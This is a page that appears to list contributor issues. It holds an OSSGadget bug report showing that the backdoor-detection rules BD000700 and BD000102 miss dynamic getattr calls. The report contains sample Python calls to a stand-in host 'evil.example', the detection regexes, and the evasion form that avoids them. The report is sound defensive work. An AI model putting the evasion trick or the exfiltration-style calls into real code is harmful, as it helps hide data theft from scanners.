[BUG] BD000700 (and BD000102) miss getattr-based dynamic calls
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 3/5
- Tempo stimato
- 1-2 giorni
- Idoneità per principianti
- 62/100
Direzione di ricerca
Start by reading the BD000700 and BD000102 rule definitions and the rule matching path in the C# detector; the payload names data_exfiltration.json and code_execution.json. Then find the existing regression tests for these rules and run them. Add coverage for literal and constant getattr calls, and consider whether to implement the suggested patterns or normalization; done means both rules detect the reported dynamic forms without breaking existing matches.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Case Study
Literal attribute call (detected):
import requests
requests.get("http://evil.example/x")
Detected as: Security.Backdoor.DataExFiltration (rule BD000700, confidence Low).
Semantically identical dynamic dispatch in normal Python code, for example config-driven or plugin-driven code (not detected):
import requests
method = "get"
getattr(requests, method)("http://evil.example/x")
Result: "No tags were found."
Current rules
BD000700 (data_exfiltration.json): pattern is the regex
\.(request|post|get)\(
with scopes ["code","comment"] and confidence low.
BD000102 (code_execution.json): pattern is the string
requests.get
with scope code and confidence medium.
Both are pure text matches. The first requires the byte sequence ".get(" and the second requires "requests.get". Neither sequence exists in getattr(requests, method)(...), so the rules can never fire for a dynamic call. This also fails for the constant form getattr(requests, "get")(...).
Suggested Fix
Add a getattr variant, for example for BD000700:
getattr\s*\(\s*[\w.]+\s*,\s*['"](get|post|request)['"]\s*\)\s*\(
and for BD000102:
getattr\s*\(\s*requests\s*,\s*['"](get|post)['"]\s*\)
A more general fix is a small normalization pass that rewrites constant getattr(mod, "attr") calls to mod.attr (and folds constant attribute names) before rules run. Please add regression tests for both direct and getattr calls.
Reproduction results
Environment: OSSGadget 0.2.38 (ApplicationInspector), .NET 8, Windows.
Commands:
ossgadget detect-backdoor -f text ./ori
ossgadget detect-backdoor -f text ./adv
Results:
ori: Security.Backdoor.DataExFiltration (Low)
adv: No tags were found.
Attachments: ori.py, adv.py
- Lingua principale
- C#
- Stelle
- 373
- Fork
- 57
- Merge medio
- 3h 19m
- PR unite (30g)
- 2
Preparare l'ambiente
Avvia il container di sviluppo del progetto nel browser, con il tuo account GitHub.
- Include un Dockerfile o un file Docker Compose
- Nessun modello di pull request
- Nessuna guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di microsoft/OSSGadget
-
[BUG] BD000104 misses curl/wget pipelines written across lines (implicit string concatenation)Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 54/100
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 42/100
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 35/100
-
Idiomatic Test OrganizationAperta
Difficoltà 4/5 3-5 giorni Idoneità per principianti 30/100
Tutte le issue di microsoft/OSSGadget
Issue simili
-
bug needs-triage
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
microsoft/microsoft-ui-xaml#12515 · 1 commento · 1 reazione ·
I maintainer di solito rispondono entro 2 giorni
-
[v5-preview5] `func new` displays incorrect command in error message when project is not initializedApertaNeeds: Triage (Functions) v5 v5-preview5
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 85/100
Azure/azure-functions-core-tools#5838 ·
I maintainer di solito rispondono entro 2 giorni
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
I maintainer di solito rispondono entro 1 giorno
-
customer-reported needs-team-triage question server-Azure.Mcp tools-Pricing
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
microsoft/mcp#4087 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Enable "remote"' featureAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100